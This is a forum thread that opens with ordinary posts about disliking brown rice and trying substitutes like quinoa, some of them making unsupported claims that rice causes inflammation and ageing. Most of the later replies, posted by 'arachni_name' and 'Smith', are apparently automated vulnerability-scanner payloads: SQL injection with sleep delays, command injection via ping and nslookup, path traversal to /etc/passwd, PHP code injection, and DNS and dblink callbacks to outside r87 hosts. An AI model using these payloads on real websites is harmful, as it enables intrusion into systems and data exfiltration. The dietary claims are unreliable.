Brown Rice
  • Author
    Posts
  • #1450 Reply

    Ariel

    Please help me with brown rice!  I love white rice but it’s not as good for you and I get hungrier sooner.  I’m really having trouble liking brown rice, however.

  • #1454 Reply

    Keith

    Hey Ariel I’m in the same boat as you. Love white rice and hate brown rice. What I learned from Chris in his Q&A call (I think it was last week) was that any rice is not that good for you when it comes to reducing inflammation and looking younger. They gave examples of other substitutes like Quinoa which I now LOVE and Amaranth. There’s a great recipe that includes Amaranth in the recipe section!!! Good luck

  • #1455 Reply

    Colby

    Agreed – stay clear of rice except on occasion. Look to green, red, purple, and other colorful fresh vegetables (which are full of nutrition) as your source of carbohydrates in your meals.  You’ll not only feel much better, but in a few weeks of avoiding things like rice your skin will start to glow.

  • #1456 Reply

    Bonnie_puppet

    Rice is okay for me but my spouse hates it. I cannot get him to eat it even if I tried to bribe him. The only thing I really dislike would be tomatoes. If they are cooked, grilled or even raw – I just cannot hack them.

  • #1466 Reply

    Froggie

    I’m not a big fan of rice, but when I do eat it, I eat brown rice. I think it’s just a matter of eating it and now allowing yourself to go back to white rice. I’ve been a brown rice eater for so long now that white rice tastes gummy and flavorless to me.

  • #1530 Reply

    Ariel

    I like quinoa too. Why would rice cause inflammation and aging? I’ve never heard anything about it being bad for you, other than perhaps being somewhat high in calories.

  • #1540 Reply

    Tish

    I’ve never heard of rice causing inflammation, either. I know that white rice can cause a spike in your blood sugar because it’s so refined but brown rice is supposed to be a complex carb which is good for you. There’s just too much controversy surrounding everything these days, too many people arguing back and forth about whether something is healthy or it isn’t.

  • #1576 Reply

    Caroline

    I actually like brown rice very much. My problem with brown rice is that it takes longer to cook than white rice. Most times, out of convenience, I will opt to cook white rice instead.

  • #32981 Reply

    arachni_name”‘`–

    1

  • #32991 Reply

    arachni_name

    1″‘`–

  • #33001 Reply

    arachni_name

    1)

  • #37021 Reply

    Smith

    3

  • #37061 Reply

    Smith

    33

  • #45671 Reply

    Smith

    “&expr 268409241 – 2 &”

  • #45681 Reply

    Smith

    ‘&expr 268409241 – 2 &’

  • #45691 Reply

    Smith

    expr 268409241 – 2 &

  • #45701 Reply

    Smith

    -1 OR 1=1

  • #45711 Reply

    Smith

    NS1NO

  • #45721 Reply

    Smith

    ‘ OR 1=1 OR ‘ns’=’ns

  • #45731 Reply

    Smith

    ‘ OR 1=1 OR ‘1’=’1

  • #45741 Reply

    Smith

  • #45751 Reply

    Smith

    1 AND ‘NS=’ss

  • #45761 Reply

    Smith

    1 OR X=’ss

  • #45771 Reply

    Smith

    %27

  • #45781 Reply

    Smith

    WAITFOR DELAY ‘0:0:25’–

  • #45791 Reply

    Smith

    ((select sleep(25)))a– 1

  • #45801 Reply

    Smith

    ‘||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||’

  • #45811 Reply

    Smith

    (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual)

  • #45821 Reply

    Smith

    NSFTW

  • #45831 Reply

    Smith

    1′ || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || ‘

  • #45841 Reply

    Smith

    -1\’+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))– 1

  • #45851 Reply

    Smith

    (length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))

  • #45861 Reply

    Smith

    ‘);SELECT pg_sleep(25)–

  • #45871 Reply

    Smith

    ‘||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||’

  • #45881 Reply

    Smith

    ‘));SELECT pg_sleep(25)–

  • #45891 Reply

    Smith

    “&ping -c 25 127.0.0.1 &”

  • #45901 Reply

    Smith

    ‘&ping -c 25 127.0.0.1 &’

  • #45911 Reply

    Smith

    &ping -c 25 127.0.0.1 &

  • #45921 Reply

    Smith

    ping -c 25 127.0.0.1 &

  • #45931 Reply

    Smith
  • #45951 Reply

    Smith

    php://filter//resource=http://r87.com/n?.php

  • #45961 Reply

    Smith

    r87.com/n

  • #45971 Reply

    Smith

    file:///etc/passwd

  • #45991 Reply

    Smith

    %2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

  • #46011 Reply

    Smith

    php://filter//resource=http://swkw2jobowjv9kb9rva-hcznfrmxsncfzofobcmgk_d.r87.me/p/

  • #46031 Reply

    Smith

    print(int)0xFFF9999-22

  • #46041 Reply

    Smith

    print(int)0xFFF9999-22;

  • #46051 Reply

    Smith

    +print(int)0xFFF9999-22;//

  • #46061 Reply

    Smith

    ‘+print(int)0xFFF9999-22+’

  • #46071 Reply

    Smith

    “+print(int)0xFFF9999-22+”

  • #46081 Reply

    Smith

    {php}print(int)0xFFF9999-22;{/php}

  • #46101 Reply

    Smith

    [php]print(int)0xFFF9999-22;[/php]

  • #46111 Reply

    Smith

    print localtime()*0+0xFFF9999-22

  • #46121 Reply

    Smith

    SELECT dblink_connect(‘host=swkw2jobow3gy9tgmcgtpprjxzklrkjx9eext64t’||’0pa.r87.me user=a password=a connect_timeout=2’)

  • #46131 Reply

    Smith

    dblink_connect(‘host=swkw2jobowks_zusmxog_jw6ybhrpwdhdqnojrug’||’e7o.r87.me user=a password=a connect_timeout=2’)

  • #46141 Reply

    Smith

    cast((SELECT dblink_connect(‘host=swkw2jobowclehm-3mpkg5x5eouzrrjaksr8wa1n’||’jng.r87.me user=a password=a connect_timeout=2’)) as numeric)

  • #46151 Reply

    Smith

    cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(115)||chr(119)||chr(107)||chr(119)||chr(50)||chr(106)||chr(111)||chr(98)||chr(111)||chr(119)||chr(50)||chr(107)||chr(110)||chr(121)||chr(100)||chr(55)||chr(109)||chr(105)||chr(106)||chr(120)||chr(102)||chr(121)||chr(99)||chr(105)||chr(114)||chr(102)||chr(102)||chr(57)||chr(117)||chr(104)||chr(53)||chr(109)||chr(53)||chr(117)||chr(57)||chr(118)||chr(109)||chr(121)||chr(111)||chr(116)||chr(100)||chr(105)||chr(103)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(61)||chr(97)||chr(32)||chr(112)||chr(97)||chr(115)||chr(115)||chr(119)||chr(111)||chr(114)||chr(100)||chr(61)||chr(97)||chr(32)||chr(99)||chr(111)||chr(110)||chr(110)||chr(101)||chr(99)||chr(116)||chr(95)||chr(116)||chr(105)||chr(109)||chr(101)||chr(111)||chr(117)||chr(116)||chr(61)||chr(50))) as numeric)

  • #46161 Reply

    Smith

    ‘||cast((SELECT dblink_connect(‘host=swkw2jobowmobf4yke0svhihsm2yzzo1bqln4njv’||’hhm.r87.me user=a password=a connect_timeout=2′)) as numeric)||’

  • #46171 Reply

    Smith

    (select UTL_INADDR.GET_HOST_ADDRESS(‘swkw2jobowliyqxj0nhap8my2-enn4mr2l7velap’||’rqc.r87.me’) from DUAL)

  • #46181 Reply

    Smith

    (length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(‘swkw2jobowl3wughgjmnzf8wccwzlimmksylsqky’||’1ni.r87.me’) from DUAL))))

  • #46191 Reply

    Smith

    ‘||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(‘swkw2jobowxvc3x3urgf7iovw6gqmmmaz5hzycap’||’0ka.r87.me’) from DUAL))||’

  • #46201 Reply

    Smith

    (select UTL_INADDR.GET_HOST_ADDRESS(chr(115)||chr(119)||chr(107)||chr(119)||chr(50)||chr(106)||chr(111)||chr(98)||chr(111)||chr(119)||chr(102)||chr(119)||chr(114)||chr(121)||chr(107)||chr(105)||chr(99)||chr(99)||chr(50)||chr(119)||chr(109)||chr(114)||chr(114)||chr(119)||chr(111)||chr(101)||chr(117)||chr(108)||chr(114)||chr(95)||chr(120)||chr(118)||chr(100)||chr(108)||chr(116)||chr(121)||chr(49)||chr(97)||chr(100)||chr(109)||chr(112)||chr(104)||chr(48)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL)

  • #46211 Reply

    Smith

    (length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(115)||chr(119)||chr(107)||chr(119)||chr(50)||chr(106)||chr(111)||chr(98)||chr(111)||chr(119)||chr(118)||chr(117)||chr(110)||chr(116)||chr(113)||chr(99)||chr(108)||chr(108)||chr(97)||chr(116)||chr(109)||chr(114)||chr(110)||chr(105)||chr(95)||chr(101)||chr(55)||chr(51)||chr(118)||chr(101)||chr(105)||chr(110)||chr(99)||chr(118)||chr(111)||chr(118)||chr(97)||chr(100)||chr(109)||chr(51)||chr(97)||chr(110)||chr(109)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))))

  • #46221 Reply

    Smith

    ‘||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(115)||chr(119)||chr(107)||chr(119)||chr(50)||chr(106)||chr(111)||chr(98)||chr(111)||chr(119)||chr(95)||chr(120)||chr(110)||chr(107)||chr(116)||chr(104)||chr(110)||chr(102)||chr(121)||chr(98)||chr(122)||chr(101)||chr(111)||chr(119)||chr(118)||chr(105)||chr(119)||chr(112)||chr(103)||chr(112)||chr(113)||chr(54)||chr(52)||chr(107)||chr(109)||chr(118)||chr(112)||chr(100)||chr(105)||chr(113)||chr(97)||chr(122)||chr(111)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))||’

  • #46231 Reply

    Smith

    gethostbyname(trim(‘swkw2jobowdcxazutk8hhv1ymrmj2v2o6bzcdtfm’.’pz8.r87.me’))

  • #46251 Reply

    Smith

    +gethostbyname(trim(‘swkw2jobowytsmk7vphdf1xwejxgxvo8sluitpkr’.’fpa.r87.me’));//

  • #46261 Reply

    Smith

    “+gethostbyname(trim(‘swkw2jobowruvwr64p-7oy6l_vgjxrfkppiztfmp’.’-py.r87.me’))+”

  • #46271 Reply

    Smith

    <? gethostbyname(trim(‘swkw2jobowia26nnvdoz3c0j83u5msg-rt3h6fkb’.’xwe.r87.me’));//?>

  • #46281 Reply

    Smith

    ‘{${gethostbyname(trim(‘swkw2jobowf8seab7gezdqygbtwxs4sn47xxeqgn’.’hxa.r87.me’))}}’

  • #46291 Reply

    Smith

    nslookup swkw2jobowkd7j1jiwgwsl-6iia2sgpljoshmpagbto.r87.me&’\”0&nslookup swkw2jobowkd7j1jiwgwsl-6iia2sgpljoshmpagbto.r87.me&

  • #46301 Reply

    Smith

    & nslookup swkw2jobowjppzcfxqkhlx-4hgjrxw4eijczyh9jelc.r87.me&’\”0&nslookup swkw2jobowjppzcfxqkhlx-4hgjrxw4eijczyh9jelc.r87.me&

  • #46311 Reply

    Smith

    ‘& nslookup swkw2jobowwwmocwfz7s9ya14vyabcfhmlxpylkp9g0.r87.me&’\”0&nslookup swkw2jobowwwmocwfz7s9ya14vyabcfhmlxpylkp9g0.r87.me&

  • #46321 Reply

    Smith

    “& nslookup swkw2jobowum9pmwpeze78kphyx-0ajqh0pmogfpmne.r87.me&’\”0&nslookup swkw2jobowum9pmwpeze78kphyx-0ajqh0pmogfpmne.r87.me&

  • #46331 Reply

    Smith

    nslookup “swkw2jobowa-k4vtextynievcvaqcmeoa89anqhd””zry.r87.me”

  • #46341 Reply

    Smith

    &nslookup “swkw2jobowkmufxzxjkjloicbqtkbcxu62xggixq””pc8.r87.me”

  • #46351 Reply

    Smith

    ‘&nslookup “swkw2jobowhydf2wymc1eeozvn0s7bjs-r_slvps””ons.r87.me”

  • #46361 Reply

    Smith

    “&nslookup “swkw2jobowxsyzq6bndibbfrpqwvejyg7tkze9zl””mra.r87.me”

  • #46371 Reply

    Smith

    |nslookup${IFS}”swkw2jobowqmkiltooz6kqdl0uycpk-_t4oovcqm””hjg.r87.me”

This topic contains 77 replies, has 2 voices, and was last updated by  Smith 1 year, 2 months ago.

Reply To: Brown Rice
Your information: